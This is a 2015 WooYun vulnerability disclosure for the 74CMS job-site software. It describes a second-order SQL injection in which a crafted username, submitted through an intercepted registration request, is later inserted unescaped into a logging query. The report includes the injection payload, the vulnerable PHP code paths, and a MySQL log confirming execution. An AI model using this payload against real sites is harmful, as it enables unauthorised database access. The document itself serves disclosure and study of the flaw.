当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114384

漏洞标题:74CMS一逻辑漏洞导致两处二次注入

相关厂商:74c,s.com

漏洞作者: 命途多舛

提交时间:2015-05-18 12:14

修复时间:2015-08-21 12:17

公开时间:2015-08-21 12:17

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-18: 细节已通知厂商并且等待厂商处理中
2015-05-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-17: 细节向核心白帽子及相关领域专家公开
2015-07-27: 细节向普通白帽子公开
2015-08-06: 细节向实习白帽子公开
2015-08-21: 细节向公众公开

简要描述:

74CMS一逻辑漏洞导致两处二次注入

详细说明:

1.首先还是注册一个企业用户,在注册的过程中用burp抓包,修改里面的username字段
username=1′,1,1001,1,user(),1,1,1,1,1,1,1) — a

14.jpg


2.74cms本来是不允许注册带有特殊字符的用户名的,但是使用这样的方法可以绕过过滤,我们来看一下数据库。

12.jpg


3.我们再来看哪里对该用户进行了二次数据库操作。找了很久,看到了对很多操作都提供了日志记录的功能。write_memberslog函数

function write_memberslog($uid,$utype,$type,$username,$str,$mode,$op_type,$op_type_cn,$op_used,$op_leave)
{
global $db,$online_ip,$ip_address;
$sql = "INSERT INTO ".table('members_log')." (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '{$uid}','{$username}','{$utype}','{$type}', '".time()."','{$online_ip}','{$ip_address}','{$str}','{$mode}','{$op_type}','{$op_type_cn}','{$op_used}','{$op_leave}')";
return $db->query($sql);
}


4.该函数中$username来源于用户名,看那些地方调用了该函数。在绝大多数情况下,74cms的$username来源于$_SESSION[‘username’],比如下面这个。

write_memberslog($_SESSION['uid'],1,2003,$_SESSION['username'],"删除职位({$sqlin})");


5.但是$_SESSION[‘username’]却是做了全局的addslashes的操作的。本来无计,后来辗转彷徨,却发现有两个地方不是这样调用的。
1)include\crons\clear_promotion.php。这是前台触发的。

$result = $db->query("SELECT p.*,m.username FROM ".table('promotion')." AS p JOIN  ".table('members')." AS m ON p.cp_uid=m.uid  WHERE  p.cp_endtime<".time()." AND p.cp_available=1");
while($row = $db->fetch_array($result))
{
if ($row['cp_promotionid']=="1")
{
$db->query("UPDATE ".table('jobs')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_tmp')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_search_hot')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_key')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_rtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_scale')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_wage')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="2")
{
$db->query("UPDATE ".table('jobs')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_tmp')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_search_hot')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_key')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_rtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_scale')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_wage')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="3")
{
$db->query("UPDATE ".table('jobs')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_tmp')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET stick='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="4")
{
$db->query("UPDATE ".table('jobs')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_tmp')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
write_memberslog($row['cp_uid'],1,3006,$row['username'],"推广到期,自动删除,职位ID:{$row['cp_jobid']},方案ID:{$row['cp_id']}");
$proid[] = $row['cp_id'];
}


可以看出这里的write_memberslog的$username直接从数据库中取出,而且没有经过任何的过滤,这就导致了二次注入。
2)admin\include\admin_company_fun.php。这是后台触发的。

function del_promotion($id)
{
global $db;
$n=0;
if (!is_array($id))$id=array($id);
foreach ($id as $did)
{
$info=$db->getone("select p.*,m.username from ".table('promotion')." AS p INNER JOIN ".table('members')." as m ON p.cp_uid=m.uid WHERE p.cp_id='".intval($did)."' LIMIT 1");
write_memberslog($info['cp_uid'],1,3006,$info['username'],"管理员取消推广,职位ID:{$info['cp_jobid']}");
cancel_promotion($info['cp_jobid'],$info['cp_promotionid']);
$db->query("Delete from ".table('promotion')." WHERE cp_id ='".intval($did)."'");
$n+=$db->affected_rows();
}
return $n;
}


6.两处二次注入的原理一样,我们首先用申请的带有特殊字符的账号来发布职位。然后对职位进行推广操作。推广的时候由于积分限制,只能选择变色。

13.jpg


7.前台触发的条件是推广时间过期,自动进行推广链接的删除时。后台触发的条件是管理员删除了推广链接。为了不等那么长时间,我们从后台来看效果

14.jpg


8.当推广被取消或者推广到期自动取消之后,我们再到前台用户登录日志的地方。

15.jpg


9.最后我们来看一下mysql的日志

150515 15:41:39 19602 Query select p.*,m.username from qs_promotion AS p INNER JOIN  qs_members as m ON p.cp_uid=m.uid WHERE p.cp_id='4' LIMIT 1
19602 Query INSERT INTO qs_members_log (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '19','1',1,1001,1,user(),1,1,1,1,1,1,1) -- a','1','3006', '1431675699','127.0.0.1','- LAN','管理员取消推广,职位ID:6','','','','','')
19602 Query UPDATE qs_jobs SET highlight='' WHERE id='6' LIMIT 1
19602 Query UPDATE qs_jobs_tmp SET highlight='' WHERE id='6' LIMIT 1
19602 Query Delete from qs_promotion WHERE cp_id ='4'
19602 Quit


漏洞证明:

<img src="http://www.pang0lin.com/wp-content/uploads/2015/05/14.jpg" alt="12.jpg" />

修复方案:

过滤

版权声明:转载请注明来源 命途多舛@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-21 12:17

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无